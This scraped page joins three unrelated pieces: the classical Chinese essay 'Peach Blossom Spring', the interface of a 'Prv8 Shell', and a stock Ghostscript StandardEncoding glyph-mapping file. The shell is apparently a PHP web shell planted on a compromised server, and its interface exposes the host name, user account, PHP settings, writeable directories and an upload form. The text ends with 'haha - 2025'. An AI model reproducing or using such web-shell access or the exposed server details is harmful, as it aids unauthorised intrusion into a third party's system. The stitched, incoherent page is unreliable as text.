晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。   林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。   见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝)   既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。   南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。 .
Prv8 Shell
Server : Apache
System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64
User : rainic ( 1014)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /usr/share/ghostscript/Resource/Decoding/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/share/ghostscript/Resource/Decoding/StandardEncoding
% Copyright (C) 2001-2019 Artifex Software, Inc.
% All Rights Reserved.
%
% This software is provided AS-IS with no warranty, either express or
% implied.
%
% This software is distributed under license and may not be copied,
% modified or distributed except as expressly authorized under the terms
% of the license contained in the file LICENSE in this distribution.
%
% Refer to licensing information at http://www.artifex.com or contact
% Artifex Software, Inc.,  1305 Grant Avenue - Suite 200, Novato,
% CA 94945, U.S.A., +1(415)492-9861, for further information.
%

% Decoding for StandardEncoding
% Maps StandardEncoding character codes to PS character names.

/StandardEncoding
<<
/.notdef        0
/space  32
/exclam 33
/quotedbl       34
/numbersign     35
/dollar 36
/percent        37
/ampersand      38
/quoteright     39
/parenleft      40
/parenright     41
/asterisk       42
/plus   43
/comma  44
/hyphen 45
/period 46
/slash  47
/zero   48
/one    49
/two    50
/three  51
/four   52
/five   53
/six    54
/seven  55
/eight  56
/nine   57
/colon  58
/semicolon      59
/less   60
/equal  61
/greater        62
/question       63
/at     64
/A      65
/B      66
/C      67
/D      68
/E      69
/F      70
/G      71
/H      72
/I      73
/J      74
/K      75
/L      76
/M      77
/N      78
/O      79
/P      80
/Q      81
/R      82
/S      83
/T      84
/U      85
/V      86
/W      87
/X      88
/Y      89
/Z      90
/bracketleft    91
/backslash      92
/bracketright   93
/asciicircum    94
/underscore     95
/quoteleft      96
/a      97
/b      98
/c      99
/d      100
/e      101
/f      102
/g      103
/h      104
/i      105
/j      106
/k      107
/l      108
/m      109
/n      110
/o      111
/p      112
/q      113
/r      114
/s      115
/t      116
/u      117
/v      118
/w      119
/x      120
/y      121
/z      122
/braceleft      123
/bar    124
/braceright     125
/asciitilde     126
/exclamdown     161
/cent   162
/sterling       163
/fraction       164
/yen    165
/florin 166
/section        167
/currency       168
/quotesingle    169
/quotedblleft   170
/guillemotleft  171
/guilsinglleft  172
/guilsinglright 173
/fi     174
/fl     175
/endash 177
/dagger 178
/daggerdbl      179
/periodcentered 180
/paragraph      182
/bullet 183
/quotesinglbase 184
/quotedblbase   185
/quotedblright  186
/guillemotright 187
/ellipsis       188
/perthousand    189
/questiondown   191
/grave  193
/acute  194
/circumflex     195
/tilde  196
/macron 197
/breve  198
/dotaccent      199
/dieresis       200
/ring   202
/cedilla        203
/hungarumlaut   205
/ogonek 206
/caron  207
/emdash 208
/AE     225
/ordfeminine    227
/Lslash 232
/Oslash 233
/OE     234
/ordmasculine   235
/ae     241
/dotlessi       245
/lslash 248
/oslash 249
/oe     250
/germandbls     251
>>
/Decoding defineresource pop

haha - 2025